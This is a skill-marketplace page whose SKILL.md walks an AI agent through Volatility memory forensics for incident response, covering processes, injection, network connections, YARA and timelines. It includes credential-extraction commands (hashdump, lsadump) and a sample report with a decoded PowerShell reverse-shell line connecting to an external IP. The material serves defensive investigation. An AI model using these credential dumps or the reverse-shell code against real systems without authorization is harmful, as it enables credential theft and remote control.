跳到正文
cccskills
免费在 GitHub 公开

analyzing-memory-dumps-with-volatility

Analyze captured RAM with Volatility to investigate suspicious processes, injected code, network connections, and other evidence of compromise. The skill guides memory investigations and organizes findings into timelines and reports, including malware traces absent from disk.

中文简介正在准备中。当前显示英语简介。

原文查看原文说明

Analyzes RAM memory dumps from compromised systems using the Volatility framework to identify malicious processes, injected code, network connections, loaded modules, and extracted credentials. Supports Windows, Linux, and macOS memory forensics. Activates for requests involving memory forensics, RAM analysis, volatile data examination, process injection detection, or memory-resident malware investigation.

查看安装方法

适用场景

  • Investigating fileless malware after an endpoint alert
  • Finding hidden processes and injected code
  • Linking suspicious processes to network connections
  • Compiling memory evidence into a timeline and report

包含的文件(4)

  • SKILL.md11.5 KB
  • LICENSE11.0 KB
  • references/api-reference.md3.0 KB
  • scripts/agent.py8.8 KB

SKILL.md(原文)

安装前可以查看交给 AI 代理的指令内容。

Analyzing Memory Dumps with Volatility

When to Use

  • A compromised system's RAM has been captured and needs forensic analysis for malware artifacts
  • Detecting fileless malware that exists only in memory without persistent disk artifacts
  • Extracting encryption keys, passwords, or decrypted configuration from process memory
  • Identifying process injection, DLL injection, or process hollowing in a compromised system
  • Analyzing rootkit activity that hides from standard disk-based forensic tools

Do not use for disk image analysis; use Autopsy, FTK, or Sleuth Kit for disk forensics.

Prerequisites

  • Volatility 3 installed (pip install volatility3) with symbol tables for target OS
  • Memory dump file acquired from the target system (using WinPmem, LiME, or DumpIt)
  • Knowledge of the source OS version for correct profile/symbol selection
  • Sufficient disk space (memory dumps can be 4-64 GB)
  • YARA rules for scanning memory for known malware signatures
  • Strings utility for extracting readable strings from memory regions

Workflow

Step 1: Identify the Memory Dump Profile

Determine the operating system and version from the memory dump:

# Volatility 3: Automatic OS detection
vol3 -f memory.dmp windows.info

# List available plugins
vol3 -f memory.dmp --help

# If symbols are needed, download from:
# https://downloads.volatilityfoundation.org/volatility3/symbols/

# For Volatility 2 (legacy):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan

Step 2: Enumerate Running Processes

List all processes and identify suspicious entries:

# List all processes
vol3 -f memory.dmp windows.pslist

# Process tree (parent-child relationships)
vol3 -f memory.dmp windows.pstree

# Scan for hidden/unlinked processes (rootkit detection)
vol3 -f memory.dmp windows.psscan

# Compare pslist vs psscan to find hidden processes
# Processes in psscan but not pslist are potentially hidden by rootkits

# Check for process hollowing
vol3 -f memory.dmp windows.pslist --dump
# Then verify the dumped EXE matches the expected binary on disk
Suspicious Process Indicators:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe not spawned by services.exe (wrong parent)
- csrss.exe/lsass.exe with unusual parent process
- Multiple instances of lsass.exe (should be only one)
- Processes with misspelled names (scvhost.exe, lssas.exe)
- cmd.exe or powershell.exe spawned by WINWORD.EXE or browser
- Processes running from unusual paths (%TEMP%, %APPDATA%)
- Processes with no parent (orphaned - parent terminated)

Step 3: Detect Malicious Code Injection

Scan for injected code and process hollowing:

# Detect injected code in processes (malfind)
vol3 -f memory.dmp windows.malfind

# Malfind looks for:
# - Memory regions with PAGE_EXECUTE_READWRITE protection
# - Memory regions containing PE headers (MZ/PE signature)
# - VAD (Virtual Address Descriptor) anomalies

# Dump injected memory regions for analysis
vol3 -f memory.dmp windows.malfind --dump --pid 2184

# List loaded DLLs per process
vol3 -f memory.dmp windows.dlllist --pid 2184

# Detect hollowed processes by comparing mapped image to disk
vol3 -f memory.dmp windows.hollowfind

# Scan for loaded drivers (potential rootkit drivers)
vol3 -f memory.dmp windows.driverscan

# List kernel modules
vol3 -f memory.dmp windows.modules

Step 4: Analyze Network Connections

Extract active and closed network connections:

# List all network connections (active and listening)
vol3 -f memory.dmp windows.netscan

# Output columns: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner

# Filter for established connections to external IPs
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED

# For older Windows (XP/2003):
vol3 -f memory.dmp windows.netstat

# Cross-reference PIDs with process list
# Suspicious: svchost.exe connected to external IP on non-standard port
# Suspicious: notepad.exe or calc.exe with network connections

Step 5: Extract Artifacts and Credentials

Recover sensitive data from memory:

# Dump process memory for a specific PID
vol3 -f memory.dmp windows.memmap --dump --pid 2184

# Extract command-line history
vol3 -f memory.dmp windows.cmdline

# Extract environment variables
vol3 -f memory.dmp windows.envars --pid 2184

# Registry analysis (extract Run keys for persistence)
vol3 -f memory.dmp windows.registry.printkey \
  --key "Software\Microsoft\Windows\CurrentVersion\Run"

# Extract hashed/cached credentials
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump

# Extract clipboard contents
vol3 -f memory.dmp windows.clipboard

# File extraction from memory
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560

Step 6: Scan Memory with YARA Rules

Apply YARA signatures to detect known malware in memory:

# Scan entire memory dump with YARA rules
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar

# Scan specific process memory
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184

# Built-in YARA scan for common patterns
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"

# Scan for encryption key material
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"

Step 7: Timeline and Report Generation

Create an analysis timeline and compile findings:

# Generate comprehensive timeline
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv

# Timeline includes:
# - Process creation/exit times
# - Network connection timestamps
# - Registry modification times
# - File access times

# Export process list for reporting
vol3 -f memory.dmp windows.pslist --output csv > processes.csv

# Export network connections
vol3 -f memory.dmp windows.netscan --output csv > network.csv

Key Concepts

TermDefinition
Memory ForensicsAnalysis of volatile memory (RAM) contents to identify running processes, network connections, and in-memory artifacts that may not exist on disk
Process HollowingMalware technique of creating a legitimate process in suspended state, replacing its memory with malicious code, then resuming execution
MalfindVolatility plugin detecting injected code by identifying memory regions with executable permissions and PE headers in non-image VADs
VAD (Virtual Address Descriptor)Windows kernel structure tracking memory regions allocated to a process; anomalies in VADs indicate injection or hollowing
EPROCESSWindows kernel structure representing a process; rootkits unlink EPROCESS entries to hide processes from standard tools
Pool Tag ScanningMemory forensics technique scanning for kernel object pool tags to find objects (processes, files, connections) even when unlinked
Fileless MalwareMalware that operates entirely in memory without creating files on disk; only detectable through memory forensics

Tools & Systems

  • Volatility 3: Open-source memory forensics framework supporting Windows, Linux, and macOS memory analysis with plugin architecture
  • WinPmem: Memory acquisition tool for Windows systems that creates raw memory dumps for offline analysis
  • LiME (Linux Memory Extractor): Loadable kernel module for capturing Linux system memory dumps
  • Rekall: Alternative memory forensics framework with some unique analysis capabilities (discontinued but still useful)
  • MemProcFS: Memory process file system allowing mounting memory dumps as file systems for intuitive analysis

Common Scenarios

Scenario: Detecting Fileless Malware After EDR Alert

Context: EDR detected suspicious PowerShell activity but the threat actor cleaned up disk artifacts. A memory dump was captured before the system was rebooted. The analysis needs to identify the malware, its persistence mechanism, and any lateral movement.

Approach:

  1. Run windows.pstree to identify the process chain (which process spawned PowerShell)
  2. Run windows.malfind to detect injected code in running processes
  3. Dump the suspicious process memory and extract strings for C2 URLs
  4. Run windows.netscan to identify network connections from the compromised processes
  5. Run windows.cmdline to see what commands PowerShell executed
  6. Scan with YARA rules for known malware families in the dumped process memory
  7. Extract credentials with hashdump and lsadump to assess lateral movement risk

Pitfalls:

  • Using the wrong symbol tables for the OS version (causes plugin failures or incorrect results)
  • Not comparing pslist vs psscan output (missing rootkit-hidden processes)
  • Ignoring legitimate processes that have been injected into (focus on malfind results, not just process names)
  • Not extracting full process memory before concluding analysis (strings from process dump may reveal additional IOCs)

Output Format

MEMORY FORENSICS ANALYSIS REPORT
===================================
Dump File:        memory.dmp
Dump Size:        16 GB
OS Version:       Windows 10 21H2 (Build 19044)
Capture Tool:     WinPmem 4.0
Capture Time:     2025-09-15 14:35:00 UTC

SUSPICIOUS PROCESSES
PID   PPID  Name              Path                                    Anomaly
2184  1052  svchost.exe       C:\Users\Admin\AppData\Temp\svchost.exe Wrong path
4012  2184  powershell.exe    C:\Windows\System32\powershell.exe      Child of fake svchost
3456  4012  cmd.exe           C:\Windows\System32\cmd.exe             Spawned by PowerShell

CODE INJECTION DETECTED (malfind)
PID 852 (explorer.exe):
  Address: 0x00400000  Size: 98304  Protection: PAGE_EXECUTE_READWRITE
  Header: MZ (embedded PE detected)
  SHA-256 of dump: abc123def456...

NETWORK CONNECTIONS
PID   Process         Local           Foreign              State
2184  svchost.exe     10.1.5.42:49152 185.220.101.42:443   ESTABLISHED
4012  powershell.exe  10.1.5.42:49200 91.215.85.17:8080    ESTABLISHED

EXTRACTED CREDENTIALS
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

COMMAND LINE HISTORY
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
  Decoded: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)

YARA MATCHES
PID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }

TIMELINE
14:10:00  svchost.exe (PID 2184) created from C:\Users\Admin\AppData\Temp\
14:10:05  Network connection to 185.220.101.42:443 established
14:12:30  powershell.exe (PID 4012) spawned by svchost.exe
14:15:00  Code injection into explorer.exe (PID 852) detected
14:20:00  Credential dump from LSASS process

评价

还没有评价。欢迎分享你的使用感受。

评论

无需登录即可发表。欢迎分享使用感受、提问,或说明在哪些环境下无法运行。

还没有评论。来写第一条吧。

提交后会立即公开。请勿填写邮箱、电话等个人信息。URL 最多 2 个。

0 / 1000 字

此表单受 reCAPTCHA 保护,适用 Google 的隐私权政策和服务条款。

同一仓库的技能

Assess exposure of Windows secrets protected by DPAPI, the operating system’s data protection service, during authorized security tests. Guide examination and decryption of saved credentials and browser data using available user sessions, credentials, or backup keys.

中文简介正在准备中。当前显示英语简介。

  • Assessing saved credential exposure in authorized tests
  • Examining collected DPAPI files offline
  • Reviewing protected browser and RDP credentials
mukul975/Anthropic-Cybersecurity-Skills3.5万2026年8月31日 更新

Assess Shadow Credentials account takeover during authorized Active Directory testing. Examine permissions that allow public key registration, validate authentication without a password reset, and document credential cleanup, detection opportunities, and access control changes needed for remediation.

中文简介正在准备中。当前显示英语简介。

  • Assessing risky permissions identified in BloodHound
  • Validating account takeover without resetting a password
  • Generating directory change records during security exercises
mukul975/Anthropic-Cybersecurity-Skills3.5万2026年8月31日 更新

Prepare for CMMC Level 2, a cybersecurity certification for defense contractors. Define the systems handling controlled information, review security requirements, calculate the SPRS assessment score, and organize remediation plans and evidence into a readiness report.

中文简介正在准备中。当前显示英语简介。

  • Define the assessment scope for systems handling controlled information
  • Calculate an SPRS score and prioritize unmet security requirements
  • Prepare security plans, remediation milestones, and assessment evidence
mukul975/Anthropic-Cybersecurity-Skills3.5万2026年8月31日 更新

Create disk images for investigations using dd or dcfldd on Linux. The workflow covers write protection, bit-for-bit copying, hash checks to verify integrity, and documentation of the acquisition process.

中文简介正在准备中。当前显示英语简介。

  • Preserving a suspect drive before investigation
  • Creating evidence copies of USB devices or memory cards
  • Verifying that a disk image matches its source
mukul975/Anthropic-Cybersecurity-Skills3.5万2026年8月31日 更新

Review Active Directory permissions with ldap3, a Python library for directory queries. Identify excessive access granted to non-administrative accounts, explain potential privilege escalation paths, and produce a JSON report with affected objects and remediation recommendations.

中文简介正在准备中。当前显示英语简介。

  • Auditing excessive Active Directory permissions
  • Investigating privilege escalation paths from ordinary accounts
  • Reporting affected objects and permission remediation recommendations
mukul975/Anthropic-Cybersecurity-Skills3.5万2026年8月31日 更新

Inspect suspicious Android APK files without running them. Analyze permissions, app components, suspicious code patterns, and network indicators, then produce a JSON risk report to support malware triage and detection rule development.

中文简介正在准备中。当前显示英语简介。

  • Triage suspicious APK files without running them
  • Inspect dangerous permission combinations and suspicious API calls
  • Extract network indicators for malware detection rules
mukul975/Anthropic-Cybersecurity-Skills3.5万2026年8月31日 更新

查看 mukul975 的全部技能

报告此技能的问题